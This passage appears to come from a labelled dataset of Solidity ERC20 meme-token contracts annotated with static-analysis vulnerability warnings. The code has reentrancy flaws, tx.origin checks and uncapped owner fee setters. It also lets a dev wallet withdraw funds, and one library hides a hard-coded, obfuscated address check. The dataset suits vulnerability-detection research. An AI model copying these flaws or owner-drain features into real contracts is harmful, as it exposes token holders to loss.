{\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: 3f51ae6\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 3f51ae6\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 697dbdc\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract LIE is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c38f32a): LIE.uniswapV2Pair should be immutable \n\t// Recommendation for c38f32a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 70a9707): LIE.devWallet should be immutable \n\t// Recommendation for 70a9707: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private devWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fab7c4e): LIE.marketingWallet should be immutable \n\t// Recommendation for fab7c4e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n uint8 private constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1dc946): LIE.initialTotalSupply should be constant \n\t// Recommendation for f1dc946: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 1000000000 * 10 ** _decimals;\n\n uint256 public maxWallet = (initialTotalSupply * 10) / 1000;\n\n uint256 public maxTransactionAmount = maxWallet;\n\n bool private swapping;\n\n uint256 public buyFee = 10;\n\n uint256 public sellFee = 20;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n bool public transferDelayEnabled = true;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n uint256 public swapTokensAtAmount = (initialTotalSupply * 3) / 1000;\n\n bool public tradingOpen = false;\n\n bool public swapEnabled = false;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n constructor() ERC20(\"Lie Terminal\", \"LIE\") {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n marketingWallet = payable(0x922D0e2b493c53587bF4F039BE2cBDB05ECD0a63);\n\n devWallet = payable(_msgSender());\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n excludeFromMaxTransaction(address(_msgSender()), true);\n\n excludeFromMaxTransaction(devWallet, true);\n\n excludeFromFees(address(_msgSender()), true);\n\n excludeFromFees(devWallet, true);\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n _mint(devWallet, initialTotalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 27b9576): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for 27b9576: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8eb9656): LIE.addLPToUniswap() ignores return value by IERC20(uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8eb9656: Ensure that all the return values of the function calls are used.\n function addLPToUniswap() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n _approve(address(this), address(_uniswapV2Router), initialTotalSupply);\n\n\t\t// unused-return | ID: 27b9576\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n 0x922D0e2b493c53587bF4F039BE2cBDB05ECD0a63,\n block.timestamp\n );\n\n\t\t// unused-return | ID: 8eb9656\n IERC20(uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint).max\n );\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n\n swapEnabled = true;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 697dbdc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 697dbdc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: f0d4100): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for f0d4100: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3f51ae6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3f51ae6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n transferDelayEnabled &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (\n to != address(_uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: f0d4100\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number &&\n _holderLastTransferTimestamp[to] < block.number,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (sellCount < 15) {\n swapping = true;\n\n\t\t\t\t// reentrancy-events | ID: 697dbdc\n\t\t\t\t// reentrancy-no-eth | ID: 3f51ae6\n swapBack();\n\n\t\t\t\t// reentrancy-no-eth | ID: 3f51ae6\n swapping = false;\n\n\t\t\t\t// reentrancy-no-eth | ID: 3f51ae6\n sellCount++;\n\n\t\t\t\t// reentrancy-no-eth | ID: 3f51ae6\n lastSellBlock = block.number;\n }\n }\n\n bool takeFee = !swapping &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to];\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(sellFee).div(100);\n } else if (automatedMarketMakerPairs[from]) {\n fees = amount.mul(buyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 697dbdc\n\t\t\t\t// reentrancy-no-eth | ID: 3f51ae6\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 697dbdc\n\t\t// reentrancy-no-eth | ID: 3f51ae6\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 697dbdc\n\t\t// reentrancy-no-eth | ID: 3f51ae6\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n maxTransactionAmount = initialTotalSupply;\n\n maxWallet = initialTotalSupply;\n\n transferDelayEnabled = false;\n }\n\n function manualSwapToken(uint256 percent) external {\n require(_msgSender() == devWallet);\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 swapAmount = (contractBalance * percent) / 100;\n\n swapTokensForEth(swapAmount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e930832): LIE.setTheFee(uint256,uint256) should emit an event for sellFee = _sellFee buyFee = _buyFee \n\t// Recommendation for e930832: Emit an event for critical parameter changes.\n function setTheFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n\t\t// events-maths | ID: e930832\n sellFee = _sellFee;\n\n\t\t// events-maths | ID: e930832\n buyFee = _buyFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5fc38fd): LIE.updateTheSwapThreshold(uint256) should emit an event for swapTokensAtAmount = newAmmount * 10 ** _decimals \n\t// Recommendation for 5fc38fd: Emit an event for critical parameter changes.\n function updateTheSwapThreshold(uint256 newAmmount) external onlyOwner {\n\t\t// events-maths | ID: 5fc38fd\n swapTokensAtAmount = newAmmount * 10 ** _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e201763): LIE.withdrawEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for e201763: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawEth() external {\n require(address(this).balance > 0, \"Token: no ETH in the contract\");\n\n require(_msgSender() == devWallet);\n\n\t\t// arbitrary-send-eth | ID: e201763\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function tokensWithdraw() external {\n require(_msgSender() == devWallet);\n\n uint256 amount = balanceOf(address(this));\n\n _transfer(address(this), devWallet, amount);\n }\n\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance == 0) {\n return;\n }\n\n uint256 tokensToSwap = contractBalance;\n\n if (tokensToSwap > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10058.sol",
"size_bytes": 28842,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address _pairAddress);\n}\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\nabstract contract Ownable {\n address internal _owner;\n\n constructor(address owner) {\n _owner = owner;\n }\n\n modifier onlyOwner() {\n require(_isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function _isOwner(address account) internal view returns (bool) {\n return account == _owner;\n }\n\n function renounceOwnership() public onlyOwner {\n _owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract k is IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = unicode\"42069k\";\n\n string private constant _symbol = unicode\"42069k\";\n\n uint8 private constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d819d7): k._totalSupply should be constant \n\t// Recommendation for 7d819d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10 ** 9 * (10 ** _decimals);\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) _isNotFee;\n\n mapping(address => bool) _isNotMaxTx;\n\n uint256 _maxTxAmount = (_totalSupply * 30) / 1000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: de700dc): k._taxReceipt should be immutable \n\t// Recommendation for de700dc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _taxReceipt;\n\n\t// WARNING Optimization Issue (immutable-states | ID: befbf5a): k.uniswapRouter should be immutable \n\t// Recommendation for befbf5a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router public uniswapRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c96be60): k._pairAddress should be immutable \n\t// Recommendation for c96be60: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _pairAddress;\n\n uint256 private _divideLpFee = 0;\n\n uint256 private _divideMarketFee = 22;\n\n uint256 private _feeTotal = _divideLpFee + _divideMarketFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2070170): k._denominator should be constant \n\t// Recommendation for 2070170: Add the 'constant' attribute to state variables that never change.\n uint256 private _denominator = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5cf2839): k._routerAddr should be constant \n\t// Recommendation for 5cf2839: Add the 'constant' attribute to state variables that never change.\n address _routerAddr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d8c5e9): k._DEAD should be constant \n\t// Recommendation for 8d8c5e9: Add the 'constant' attribute to state variables that never change.\n address private _DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea8d847): k._taxEnabled should be constant \n\t// Recommendation for ea8d847: Add the 'constant' attribute to state variables that never change.\n bool _taxEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b521718): k._feeSwapThreshold should be immutable \n\t// Recommendation for b521718: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 _feeSwapThreshold = _totalSupply / 100000;\n\n bool _swapping;\n\n modifier lockSwap() {\n _swapping = true;\n _;\n _swapping = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d0a449a): k.constructor(address).ZhongAddress lacks a zerocheck on \t _taxReceipt = ZhongAddress\n\t// Recommendation for d0a449a: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e25c74f): k.constructor(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for e25c74f: Rename the local variables that shadow another component.\n constructor(address ZhongAddress) Ownable(msg.sender) {\n uniswapRouter = IUniswapV2Router(_routerAddr);\n\n _pairAddress = IUniswapV2Factory(uniswapRouter.factory()).createPair(\n uniswapRouter.WETH(),\n address(this)\n );\n\n _allowances[address(this)][address(uniswapRouter)] = type(uint256).max;\n\n address _owner = _owner;\n\n\t\t// missing-zero-check | ID: d0a449a\n _taxReceipt = ZhongAddress;\n\n _isNotFee[_taxReceipt] = true;\n\n _isNotMaxTx[_owner] = true;\n\n _isNotMaxTx[_taxReceipt] = true;\n\n _isNotMaxTx[_DEAD] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n receive() external payable {}\n\n function _verifySwapping(\n address sender,\n address recipient,\n uint256 amount\n ) private view returns (bool) {\n return\n _validateSwapping() &&\n _isNotTax(sender) &&\n _sellTxVerify(recipient) &&\n amount > _feeSwapThreshold;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fff8b77): k.updateTax(uint256,uint256) should emit an event for _divideLpFee = lpFee _divideMarketFee = devFee _feeTotal = _divideLpFee + _divideMarketFee \n\t// Recommendation for fff8b77: Emit an event for critical parameter changes.\n function updateTax(uint256 lpFee, uint256 devFee) external onlyOwner {\n\t\t// events-maths | ID: fff8b77\n _divideLpFee = lpFee;\n\n\t\t// events-maths | ID: fff8b77\n _divideMarketFee = devFee;\n\n\t\t// events-maths | ID: fff8b77\n _feeTotal = _divideLpFee + _divideMarketFee;\n }\n\n function _sellTxVerify(address recipient) private view returns (bool) {\n return recipient == _pairAddress;\n }\n\n function _validateSwapping() internal view returns (bool) {\n return\n !_swapping &&\n _taxEnabled &&\n _balances[address(this)] >= _feeSwapThreshold;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function _isNotTax(address sender) internal view returns (bool) {\n return !_isNotFee[sender];\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function getOwner() external view override returns (address) {\n return _owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferFrom(msg.sender, recipient, amount);\n }\n\n function _getAmount(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n\t\t// reentrancy-eth | ID: d4304c7\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n uint256 feeTokens = amount.mul(_feeTotal).div(_denominator);\n\n bool hasNoFee = sender == _owner;\n\n if (hasNoFee) {\n feeTokens = 0;\n }\n\n\t\t// reentrancy-eth | ID: d4304c7\n _balances[address(this)] = _balances[address(this)].add(feeTokens);\n\n\t\t// reentrancy-events | ID: 97e217e\n emit Transfer(sender, address(this), feeTokens);\n\n return amount.sub(feeTokens);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 643979f): k.performSwap() ignores return value by uniswapRouter.addLiquidityETH{value ethToLp}(address(this),tokensToLp,0,0,_taxReceipt,block.timestamp)\n\t// Recommendation for 643979f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8a446f7): k.performSwap() sends eth to arbitrary user Dangerous calls address(_taxReceipt).transfer(ethToMarketing)\n\t// Recommendation for 8a446f7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function performSwap() internal lockSwap {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n uint256 tokensToLp = contractTokenBalance\n .mul(_divideLpFee)\n .div(_feeTotal)\n .div(2);\n\n uint256 amountToSwap = contractTokenBalance.sub(tokensToLp);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapRouter.WETH();\n\n\t\t// reentrancy-events | ID: 97e217e\n\t\t// reentrancy-eth | ID: d4304c7\n uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 amountETH = address(this).balance;\n\n uint256 totalFeeTokens = _feeTotal.sub(_divideLpFee.div(2));\n\n uint256 ethToLp = amountETH.mul(_divideLpFee).div(totalFeeTokens).div(\n 2\n );\n\n uint256 ethToMarketing = amountETH.mul(_divideMarketFee).div(\n totalFeeTokens\n );\n\n\t\t// reentrancy-events | ID: 97e217e\n\t\t// reentrancy-eth | ID: d4304c7\n\t\t// arbitrary-send-eth | ID: 8a446f7\n payable(_taxReceipt).transfer(ethToMarketing);\n\n if (tokensToLp > 0) {\n\t\t\t// reentrancy-events | ID: 97e217e\n\t\t\t// unused-return | ID: 643979f\n\t\t\t// reentrancy-eth | ID: d4304c7\n uniswapRouter.addLiquidityETH{value: ethToLp}(\n address(this),\n tokensToLp,\n 0,\n 0,\n _taxReceipt,\n block.timestamp\n );\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 97e217e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 97e217e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d4304c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d4304c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n if (_swapping) {\n return _transferBasic(sender, recipient, amount);\n }\n\n if (recipient != _pairAddress && recipient != _DEAD) {\n require(\n _isNotMaxTx[recipient] ||\n _balances[recipient] + amount <= _maxTxAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n }\n\n if (_verifySwapping(sender, recipient, amount)) {\n\t\t\t// reentrancy-events | ID: 97e217e\n\t\t\t// reentrancy-eth | ID: d4304c7\n performSwap();\n }\n\n bool shouldTax = _isNotTax(sender);\n\n if (shouldTax) {\n\t\t\t// reentrancy-events | ID: 97e217e\n\t\t\t// reentrancy-eth | ID: d4304c7\n _balances[recipient] = _balances[recipient].add(\n _getAmount(sender, amount)\n );\n } else {\n\t\t\t// reentrancy-eth | ID: d4304c7\n _balances[recipient] = _balances[recipient].add(amount);\n }\n\n\t\t// reentrancy-events | ID: 97e217e\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 865216d): k.adjustWalletSize(uint256) should emit an event for _maxTxAmount = (_totalSupply * percent) / 1000 \n\t// Recommendation for 865216d: Emit an event for critical parameter changes.\n function adjustWalletSize(uint256 percent) external onlyOwner {\n\t\t// events-maths | ID: 865216d\n _maxTxAmount = (_totalSupply * percent) / 1000;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferFrom(sender, recipient, amount);\n }\n\n function _transferBasic(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n}\n",
"file_name": "solidity_code_10059.sol",
"size_bytes": 17239,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert 